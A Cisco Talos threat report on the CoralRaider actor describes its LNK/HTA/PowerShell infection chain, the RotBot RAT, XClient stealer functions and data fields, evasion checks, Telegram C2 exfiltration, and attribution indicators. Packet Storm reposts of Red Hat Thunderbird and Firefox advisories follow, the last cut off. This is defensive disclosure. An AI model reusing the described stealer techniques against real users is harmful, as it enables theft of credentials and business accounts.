Cisco Talos discovered a new threat actor we’re calling “CoralRaider” that we believe is of Vietnamese origin and financially motivated. CoralRaider has been operating since at least 2023, targeting victims in several Asian and Southeast Asian countries.

**CoralRaider targets victims’ data and social media accounts**

Thursday, April 4, 2024 08:00

*   Cisco Talos discovered a new threat actor we’re calling “CoralRaider” that we believe is of Vietnamese origin and financially motivated. CoralRaider has been operating since at least 2023, targeting victims in several Asian and Southeast Asian countries. 
*   This group focuses on stealing victims’ credentials, financial data, and social media accounts, including business and advertisement accounts.
*   They use RotBot, a customized variant of QuasarRAT, and XClient stealer as payloads in the campaign we analyzed.
*   The actor uses the dead drop technique, abusing a legitimate service to host the C2 configuration file and uncommon living-off-the-land binaries (LoLBins), including Windows Forfiles.exe and FoDHelper.exe 

**CoralRaider operators likely based in Vietnam **

Talos assesses with high confidence that the CoralRaider operators are based in Vietnam, based on the actor messages in their Telegram C2 bot channels and language preference in naming their bots, PDB strings, and other Vietnamese words hardcoded in their payload binaries. The actor’s IP address is located in Hanoi, Vietnam. 

 Our analysis revealed that the actor uses a Telegram bot, as a C2, to exfiltrate the victim’s data. This allowed us to collect information and uncover several invaluable indicators about the origin and activities of the attacker. 

The attacker used two Telegram bots: A “debug” bot for debugging, and an “online” bot where victim data was received. However, a Desktop image in the “debug” bot had a similar desktop and Telegram to the “online” bot. This showed that the actor possibly infected their own environment while testing the bot. 

Analyzing the images of the actor’s Desktop on the Telegram bot, we found a few Telegram groups in Vietnamese named “Kiém tien tử Facebook,” “Mua Bán Scan MINI,” and “Mua Bán Scan Meta.” Monitoring these groups revealed that they were underground markets where, among other activities, victim data was traded. 

In an image from the “debug bot,” we spotted the Windows device ID (HWID) and an IP address (118\[.\]71\[.\]64\[.\]18), located in Hanoi, Vietnam, that is likely to be CoralRaider’s IP address.

Talos’ research uncovered two other images that revealed a few folders on their OneDrive. One of the folders had a Vietnamese name, “Bot Export Chiến,” which is the same as one of the folders in the PDB strings of their loader component. Pivoting on the folder path in the PDB string, we discovered a few other PDB strings having similar paths but different Vietnamese names. We analyzed the discovered samples with the PDB strings and found they belong to the same loader family, RotBot. The Vietnamese name in the PDB string of the loader binary further strengthens our assessment that CoralRaider is of Vietnamese origin.

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Khuê\\14.225.210.XX-Khue-Ver 2.0\\GPT\\bin\\Debug\\spoolsv.pdb

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Trứ\\149.248.79.205 - NetFrame 4.5 Run Dll - 2024\\ChromeCrashServices\\obj\\Debug\\FirefoxCrashSevices.pdb

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Trứ\\139.99.23.9-NetFrame4.5-Ver2.0-Trứ\\GPT\\bin\\Debug\\spoolsv.pdb

  

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Chiến\\14.225.210.XX-Chiến -Ver 2.0\\GPT\\bin\\Debug\\spoolsv.pdb

  

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Trứ\\139.99.23.9-NetFrame4.5-Ver2.0-Trứ\\GPT\\bin\\Debug\\SkypeApp.pdb

  

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Chiến\\14.225.210.XX-Chiến -Ver 2.0\\GPT\\bin\\Debug\\spoolsv.pdb

  

D:\\ROT\\ROT\\ROT Ver 5.5\\Source\\Encrypted\\Ver 4.8 - Client Netframe 4.5\\XClient\\bin\\Debug\\AI.pdb

  

Another image we analyzed is an Excel spreadsheet that likely contained the victims’ data. We have redacted the images to maintain confidentiality. The spreadsheet has several tabs in Vietnamese, and their English translation showed us the tabs “Employee salary spreadsheet,” “advertising costs,” “website to buy copies,” “PayPal related,” and “can use.” The spreadsheet seemed to have multiple versions — the first was created on May 10, 2023. We also spotted that they have logged into their Microsoft Office 365 account with the display name “daloia krag” while accessing the spreadsheet, and CoralRaider likely operates the account. 

CoralRaider’s payload, XClient stealer analysis, showed us a few more indicators. CoralRaider had hardcoded Vietnamese words in several stealer functions of their payload XClient stealer. The stealer function maps the stolen victim’s information to hardcoded Vietnamese words and writes them to a text file on the victim machine’s temporary folder before exfiltration. One example function we observed is used to steal the victim’s Facebook Ads account that has hardcoded with Vietnamese words for Account rights, Threshold, Spent, Time Zone, and Date Created, etc.

**The campaign  **

Talos observed that CoralRaider is conducting a malicious campaign targeting victims in multiple countries in Asia and Southeast Asia, including India, China, South Korea, Bangladesh, Pakistan, Indonesia and Vietnam. 

The initial vector of the campaign is the Windows shortcut file. We are unclear on the technique the actor used to deliver the LNKs to the victims. Some of the shortcut file filenames that we observed during our analysis are:

*   자세한 비디오 및 이미지.lnk
*   設計內容+我的名片.lnk
*   run-dwnl-restart.lnk
*   index-write-upd.lnk
*   finals.lnk
*   manual.pdf.lnk
*   LoanDocs.lnk
*   DoctorReferral.lnk
*   your-award.pdf.lnk
*   Research.pdf.lnk
*   start-of-proccess.lnk
*   lan-onlineupd.lnk
*   refcount.lnk

We also discovered a few notable unique drive serial numbers from the metadata of the Windows Shortcut files:

*   A0B4-2B36
*   FA4C-C31D
*   94AA-CEFB
*   46F7-AF3B

The attack begins when a user opens a malicious Windows shortcut file, which downloads and executes an HTML application file (HTA) from an attacker-controlled download server. The HTA file executes an embedded obfuscated Visual Basic script. The malicious Visual Basic script executes an embedded PowerShell script in the memory, which decrypts and sequentially executes three other PowerShell scripts that perform anti-VM and anti-analysis checks, bypass the User Access Controls, disables the Windows and application notifications on the victim’s machine, and finally downloads and run the RotBot. 

RotBot, the QuasarRAT client variant, in its initial execution phase, performs several detection evasion checks on the victim machine and conducts system reconnaissance. RotBot then connects to a host on a legitimate domain, likely controlled by the threat actor, and downloads the configuration file for the RotBot to connect to the C2. CoralRaider uses the Telegram bot as the C2 channel in this campaign. 

After connecting to the Telegram C2, RotBot loads the payload XClient stealer onto the victim memory from its resource and runs its plugin program. The XClient stealer plugin performs anti-VM and anti-virus software checks on the victim's machine. It executes its functions to collect the victim's browser data, including cookies, stored credentials, and financial information such as credit card details. It also collects the victim’s data from social media accounts, including Facebook, Instagram, TikTok business ads, and YouTube. It also collects the application data from the Telegram desktop and Discord application on the victim's machine. The stealer plugin can capture screenshots of the victim’s desktop and save them as a PNG file in the victim's machine’s temporary folder. With PNG files, the stealer plugin dumps the collected victim’s data from the browser and social media accounts in a text file and creates a ZIP archive. The PNG and ZIP files are exfiltrated to the attacker's Telegram bot C2.

Infection flow diagram.

**RotBot loads and runs the payload  **

RotBot, a remote access tool (RAT) compiled on Jan. 9, 2024, is downloaded and runs on the victim machine disguised as a Printer Subsystem application “spoolsv.exe.” RotBot is a variant of the QuasarRAT client that the threat actor has customized and compiled for this campaign. 

During its initial execution, RotBot performs several checks on the victim’s machine to evade detection, including IP address, ASN number, and running processes of the victim’s machine. It performs reconnaissance of system data on the victim machine. It also configures the internet proxy on the victim machine by modifying the registry key: 

Software\\Microsoft\\Windows\\CurrentVersion\\Internet 

Settings with the values:

ProxyServer = 127.0.0.1:80

ProxyEnable = 1

We observed that RotBot discovered in this campaign creates mutex in the victim machine as the infection markers​​ using the hardcoded strings in the binary.

RotBot loads and runs the XClient stealer module from its resources and uses the configuration parameters for its Telegram C2 bot from the downloaded configuration file. 

The XClient stealer sample we analyzed in this campaign is a .Net executable compiled on Jan. 7, 2024. It has extensive information-stealing capability through its plugin module and various modules for performing remote administrative tasks. 

XClient stealer has three primary functions that help it to avoid the radar. First, it will do virtual environment evasion if the victim’s machine runs in VMware or VirtualBox. It also checks if a DLL called sbieDll.dll exists in the victim machine file system to detect if it runs in the Sandboxie environment. XClient stealer also checks if anti-virus software, including AVG, Avast, and Kaspersky, is running on the victim’s machine. 

After bypassing all the checking functions, the XClient stealer captures the victim’s machine screenshot, saves it with the “.png” extension in the victim’s temporary user profile folder, and sends it to C2 through the URL “/sendPhoto.” 

XClient stealer steals victims’ social media web application credentials, browser data, and financial information such as credit card details. It targets Chrome, Microsoft Edge, Opera, Brave, CocCoc, and Firefox browser data files through the absolute paths of the respective browser installation paths. It extracts the contents of the browser database to a text file in the victim’s profile local temporary folder. 

XClient stealer hijacks and steals various Facebook data from the victim’s Facebook account. It sets custom HTTP header metadata along with the victim’s stolen Facebook cookie, and the username sends requests to Facebook APIs through the URLs below.

It checks if the victim’s Facebook is a business or ads account and uses regular expressions to search for access\_token, assetID, and paymentAccountID. Using Facebook graph API, XClient attempts to collect an extensive list of information from the victim’s account, shown in the table below.

Entities

Value place holders

facebook\_pages

verification\_status, fan\_count, followers\_count, is\_owned, name, is\_published,is\_promotable, parent\_page, promotion\_eligible, has\_transitioned\_to\_new\_page\_experience, picture, roles

Adaccounts, businesses

name, permitted\_roles, can\_use\_extended\_credit, primary\_page, wo\_factor\_type, client\_ad\_accounts, verification\_status, id, created\_time, is\_disabled\_for\_integrity\_reasons, sharing\_eligibility\_status, allow\_page\_management\_in\_www, timezone\_id, timezone\_offset\_hours\_utc

owned\_ad\_accounts

id, currency, timezone\_offset\_hours\_utc, timezone\_name,adtrust\_dsl

Business\_users

name, account\_status, account\_id, owner\_business, created\_time, next\_bill\_date, currency, timezone\_name, timezone\_offset\_hours\_utc, business\_country\_code, disable\_reason, adspaymentcycle{threshold\_amount}, has\_extended\_credit, adtrust\_dsl, funding\_source\_details, balance, is\_prepay\_account, owner

XClient stealer also collects the financial information from the victims’ Facebook business and ads accounts.

Payment related entities

Value Place holders

pm\_credit\_card

display\_string, exp\_month, exp\_year, is\_verified

payment\_method\_direct\_debits

address, can\_verify, display\_string, s\_awaiting, is\_pending,

status

payment\_method\_paypal

email\_address

payment\_method\_tokens

Current\_balance, original\_balance, time\_expire, type

amount\_spent, userpermissions

user, role

 Using the graph API, XClient stealer retrieves victims’ account friend list details and pictures. 

XClient stealer also targets the victim’s Instagram account and YouTube accounts through the URLs and collects various information, including username, badge\_count, appID, accountSectionListRenderer, contents, title, data, actions, getMultiPageMenuAction, menu, multiPageMenuRenderer, sections and hasChannel. It collects the application data from the Telegram desktop and Discord application on the victim’s machine. XClient also collects the data from the victim’s TikTok business account and checks for business ads. 

Talos compiled the hardcoded HTTP request header metadata the XClient stealer uses in this campaign while retrieving the victim’s information from Facebook, Instagram, and YouTube accounts. 

Facebook

*   sec-ch-ua-mobile: ?0
    
*   sec-ch-ua-platform: \\"Windows\\"
    
*   sec-fetch-dest: document
    
*   sec-fetch-mode: navigate
    
*   sec-fetch-site: none
    
*   sec-fetch-user: ?1
    
*   upgrade-insecure-requests: 1
    
*   user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
    
*   sec-ch-ua: \\"Not?A\_Brand\\";v=\\"8\\", \\"Chromium\\";v=\\"108\\", \\"Google Chrome\\";v=\\"108\\"
    
*   sec-ch-ua-mobile: ?0
    

  

Instagram

*   Sec-Ch-Prefers-Color-Scheme: light
    
*   Sec-Ch-Ua: "Google Chrome"; v = "113", "Chromium"; v = "113", "Not-A.Brand"; v = "24"
    
*   Sec-Ch-Ua-Full-Version-List: "Google Chrome"; v = "113.0.5672.127", "Chromium"; v = "113.0.5672.127", "Not-A.Brand"; v = "24.0.0.0"
    
*   Sec-Ch-Ua-Mobile: ?0
    
*   Sec-Ch-Ua-Platform: "Windows"
    
*   Sec-Ch-Ua-Platform-Version: "10.0.0"
    
*   Sec-Fetch-Dest: document
    
*   Sec-Fetch-Mode: navigate
    
*   Sec-Fetch-Site: none
    
*   Sec-Fetch-User: ?1
    
*   Upgrade-Insecure-Requests: 1
    
*   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36(KHTML, like Gecko) Chrome / 113.0.0.0 Safari / 537.36
    

  

Youtube

*   content-type: application/json
    
*   sec-ch-ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"
    
*   sec-ch-ua-arch: "x86"
    
*   sec-ch-ua-bitness: "64"
    
*   sec-ch-ua-full-version: "113.0.5672.127"
    
*   sec-ch-ua-full-version-list: "Google Chrome";v="113.0.5672.127", "Chromium";v="113.0.5672.127", "Not-A.Brand";v="24.0.0.0"
    
*   sec-ch-ua-mobile: ?0
    
*   sec-ch-ua-model: ""
    
*   sec-ch-ua-platform: "Windows"
    
*   sec-ch-ua-platform-version: "10.0.0"
    
*   sec-ch-ua-wow64: ?0
    
*   sec-fetch-dest: empty
    
*   sec-fetch-mode: same-origin
    
*   user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
    
*   x-goog-authuser: 0
    
*   x-origin: https://www.youtube.com
    
*   x-youtube-bootstrap-logged-in: true
    
*   x-youtube-client-name: 1
    

Finally, the XClient stealer stores the victim’s social media data, which is collected into a text file in the local user profile temporary folder and creates a ZIP archive. The ZIP files were exfiltrated to the Telegram C2 through the URL “/sendDocument”.

Talos’ research of this campaign focused on discovering and disclosing a new threat actor of Vietnamese origin and their payloads. Additional technical details of the attack chain components of this campaign can be found in the report published by the researchers at QiAnXin Threat Intelligence Center. 

**Coverage**

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SID for this threat is 63192.

ClamAV detections are also available for this threat:

Lnk.Downloader.CoralRaider-10024620-0

Html.Downloader.CoralRaider-10025101-0

Win.Trojan.RotBot-10024631-0

Win.Infostealer.XClient-10025106-2

**Indicators of Compromise**

Indicators of Compromise associated with this threat can be found here.

CoralRaider targets victims’ data and social media accounts

Red Hat Security Advisory 2024-1498-03 - An update for thunderbird is now available for Red Hat Enterprise Linux 7. Issues addressed include integer overflow, out of bounds write, and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1498.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: thunderbird security update  
Advisory ID:        RHSA-2024:1498-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1498  
Issue date:         2024-04-03  
Revision:           03  
CVE Names:          CVE-2023-5388  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 115.9.0.

Security Fix(es):

* nss: timing attack against RSA decryption (CVE-2023-5388)

* Mozilla: Crash in NSS TLS method (CVE-2024-0743)

* Mozilla: Leaking of encrypted email subjects to other conversations  (CVE-2024-1936)

* Mozilla: JIT code failed to save return registers on Armv7-A (CVE-2024-2607)

* Mozilla: Integer overflow could have led to out of bounds write  
(CVE-2024-2608)

* Mozilla: Improper handling of html and body tags enabled CSP nonce leakage  
(CVE-2024-2610)

* Mozilla: Clickjacking vulnerability could have led to a user accidentally  
granting permissions (CVE-2024-2611)

* Mozilla: Self referencing object could have potentially led to a  
use-after-free (CVE-2024-2612)

* Mozilla: Memory safety bugs fixed in Firefox 124, Firefox ESR 115.9, and  
Thunderbird 115.9 (CVE-2024-2614)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5388

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2243644  
https://bugzilla.redhat.com/show_bug.cgi?id=2260012  
https://bugzilla.redhat.com/show_bug.cgi?id=2268171  
https://bugzilla.redhat.com/show_bug.cgi?id=2270660  
https://bugzilla.redhat.com/show_bug.cgi?id=2270661  
https://bugzilla.redhat.com/show_bug.cgi?id=2270663  
https://bugzilla.redhat.com/show_bug.cgi?id=2270664  
https://bugzilla.redhat.com/show_bug.cgi?id=2270665  
https://bugzilla.redhat.com/show_bug.cgi?id=2270666

Red Hat Security Advisory 2024-1498-03

Red Hat Security Advisory 2024-1495-03 - An update for thunderbird is now available for Red Hat Enterprise Linux 9.0 Extended Update Support. Issues addressed include integer overflow, out of bounds write, and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1495.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: thunderbird security update  
Advisory ID:        RHSA-2024:1495-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1495  
Issue date:         2024-04-03  
Revision:           03  
CVE Names:          CVE-2023-5388  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 115.9.0.

Security Fix(es):  
* nss: timing attack against RSA decryption (CVE-2023-5388)

* Mozilla: Crash in NSS TLS method (CVE-2024-0743)

* Mozilla: Leaking of encrypted email subjects to other conversations  (CVE-2024-1936)

* Mozilla: JIT code failed to save return registers on Armv7-A (CVE-2024-2607)

* Mozilla: Integer overflow could have led to out of bounds write  
(CVE-2024-2608)

* Mozilla: Improper handling of html and body tags enabled CSP nonce leakage  
(CVE-2024-2610)

* Mozilla: Clickjacking vulnerability could have led to a user accidentally  
granting permissions (CVE-2024-2611)

* Mozilla: Self referencing object could have potentially led to a  
use-after-free (CVE-2024-2612)

* Mozilla: Memory safety bugs fixed in Firefox 124, Firefox ESR 115.9, and  
Thunderbird 115.9 (CVE-2024-2614)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5388

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2243644  
https://bugzilla.redhat.com/show_bug.cgi?id=2260012  
https://bugzilla.redhat.com/show_bug.cgi?id=2268171  
https://bugzilla.redhat.com/show_bug.cgi?id=2270660  
https://bugzilla.redhat.com/show_bug.cgi?id=2270661  
https://bugzilla.redhat.com/show_bug.cgi?id=2270663  
https://bugzilla.redhat.com/show_bug.cgi?id=2270664  
https://bugzilla.redhat.com/show_bug.cgi?id=2270665  
https://bugzilla.redhat.com/show_bug.cgi?id=2270666

Red Hat Security Advisory 2024-1495-03

Red Hat Security Advisory 2024-1494-03 - An update for thunderbird is now available for Red Hat Enterprise Linux 8. Issues addressed include integer overflow, out of bounds write, and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1494.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: thunderbird security update  
Advisory ID:        RHSA-2024:1494-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1494  
Issue date:         2024-04-03  
Revision:           03  
CVE Names:          CVE-2023-5388  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact of  
Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives  
a detailed severity rating, is available for each vulnerability from the CVE  
link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 115.9.0.

Security Fix(es):

* nss: timing attack against RSA decryption (CVE-2023-5388)

* Mozilla: Crash in NSS TLS method (CVE-2024-0743)

* Mozilla: Leaking of encrypted email subjects to other conversations  (CVE-2024-1936)

* Mozilla: JIT code failed to save return registers on Armv7-A (CVE-2024-2607)

* Mozilla: Integer overflow could have led to out of bounds write  
(CVE-2024-2608)

* Mozilla: Improper handling of html and body tags enabled CSP nonce leakage  
(CVE-2024-2610)

* Mozilla: Clickjacking vulnerability could have led to a user accidentally  
granting permissions (CVE-2024-2611)

* Mozilla: Self referencing object could have potentially led to a  
use-after-free (CVE-2024-2612)

* Mozilla: Memory safety bugs fixed in Firefox 124, Firefox ESR 115.9, and  
Thunderbird 115.9 (CVE-2024-2614)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5388

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2243644  
https://bugzilla.redhat.com/show_bug.cgi?id=2260012  
https://bugzilla.redhat.com/show_bug.cgi?id=2268171  
https://bugzilla.redhat.com/show_bug.cgi?id=2270660  
https://bugzilla.redhat.com/show_bug.cgi?id=2270661  
https://bugzilla.redhat.com/show_bug.cgi?id=2270663  
https://bugzilla.redhat.com/show_bug.cgi?id=2270664  
https://bugzilla.redhat.com/show_bug.cgi?id=2270665  
https://bugzilla.redhat.com/show_bug.cgi?id=2270666

Red Hat Security Advisory 2024-1494-03

Red Hat Security Advisory 2024-1493-03 - An update for thunderbird is now available for Red Hat Enterprise Linux 9. Issues addressed include integer overflow, out of bounds write, and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1493.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: thunderbird security update  
Advisory ID:        RHSA-2024:1493-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1493  
Issue date:         2024-04-03  
Revision:           03  
CVE Names:          CVE-2023-5388  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact of  
Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives  
a detailed severity rating, is available for each vulnerability from the CVE  
link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 115.9.0.

Security Fix(es):

* nss: timing attack against RSA decryption (CVE-2023-5388)

* Mozilla: Crash in NSS TLS method (CVE-2024-0743)

* Mozilla: Leaking of encrypted email subjects to other conversations  (CVE-2024-1936)

* Mozilla: JIT code failed to save return registers on Armv7-A (CVE-2024-2607)

* Mozilla: Integer overflow could have led to out of bounds write  
(CVE-2024-2608)

* Mozilla: Improper handling of html and body tags enabled CSP nonce leakage  
(CVE-2024-2610)

* Mozilla: Clickjacking vulnerability could have led to a user accidentally  
granting permissions (CVE-2024-2611)

* Mozilla: Self referencing object could have potentially led to a  
use-after-free (CVE-2024-2612)

* Mozilla: Memory safety bugs fixed in Firefox 124, Firefox ESR 115.9, and  
Thunderbird 115.9 (CVE-2024-2614)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5388

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2243644  
https://bugzilla.redhat.com/show_bug.cgi?id=2260012  
https://bugzilla.redhat.com/show_bug.cgi?id=2268171  
https://bugzilla.redhat.com/show_bug.cgi?id=2270660  
https://bugzilla.redhat.com/show_bug.cgi?id=2270661  
https://bugzilla.redhat.com/show_bug.cgi?id=2270663  
https://bugzilla.redhat.com/show_bug.cgi?id=2270664  
https://bugzilla.redhat.com/show_bug.cgi?id=2270665  
https://bugzilla.redhat.com/show_bug.cgi?id=2270666

Red Hat Security Advisory 2024-1493-03

Red Hat Security Advisory 2024-1492-03 - An update for thunderbird is now available for Red Hat Enterprise Linux 9.2 Extended Update Support. Issues addressed include integer overflow, out of bounds write, and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1492.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: thunderbird security update  
Advisory ID:        RHSA-2024:1492-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1492  
Issue date:         2024-04-03  
Revision:           03  
CVE Names:          CVE-2023-5388  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 115.9.0.

Security Fix(es):

* nss: timing attack against RSA decryption (CVE-2023-5388)

* Mozilla: Crash in NSS TLS method (CVE-2024-0743)

* Mozilla: Leaking of encrypted email subjects to other conversations  (CVE-2024-1936)

* Mozilla: JIT code failed to save return registers on Armv7-A (CVE-2024-2607)

* Mozilla: Integer overflow could have led to out of bounds write  
(CVE-2024-2608)

* Mozilla: Improper handling of html and body tags enabled CSP nonce leakage  
(CVE-2024-2610)

* Mozilla: Clickjacking vulnerability could have led to a user accidentally  
granting permissions (CVE-2024-2611)

* Mozilla: Self referencing object could have potentially led to a  
use-after-free (CVE-2024-2612)

* Mozilla: Memory safety bugs fixed in Firefox 124, Firefox ESR 115.9, and  
Thunderbird 115.9 (CVE-2024-2614)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5388

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2243644  
https://bugzilla.redhat.com/show_bug.cgi?id=2260012  
https://bugzilla.redhat.com/show_bug.cgi?id=2268171  
https://bugzilla.redhat.com/show_bug.cgi?id=2270660  
https://bugzilla.redhat.com/show_bug.cgi?id=2270661  
https://bugzilla.redhat.com/show_bug.cgi?id=2270663  
https://bugzilla.redhat.com/show_bug.cgi?id=2270664  
https://bugzilla.redhat.com/show_bug.cgi?id=2270665  
https://bugzilla.redhat.com/show_bug.cgi?id=2270666

Red Hat Security Advisory 2024-1492-03

Red Hat Security Advisory 2024-1485-03 - An update for firefox is now available for Red Hat Enterprise Linux 9. Issues addressed include integer overflow, out of bounds write, and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1485.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Critical: firefox security update  
Advisory ID:        RHSA-2024:1485-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1485  
Issue date:         2024-04-03  
Revision:           03  
CVE Names:          CVE-2023-5388  
====================================================================

Summary: 

An update for firefox is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact of  
Critical. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

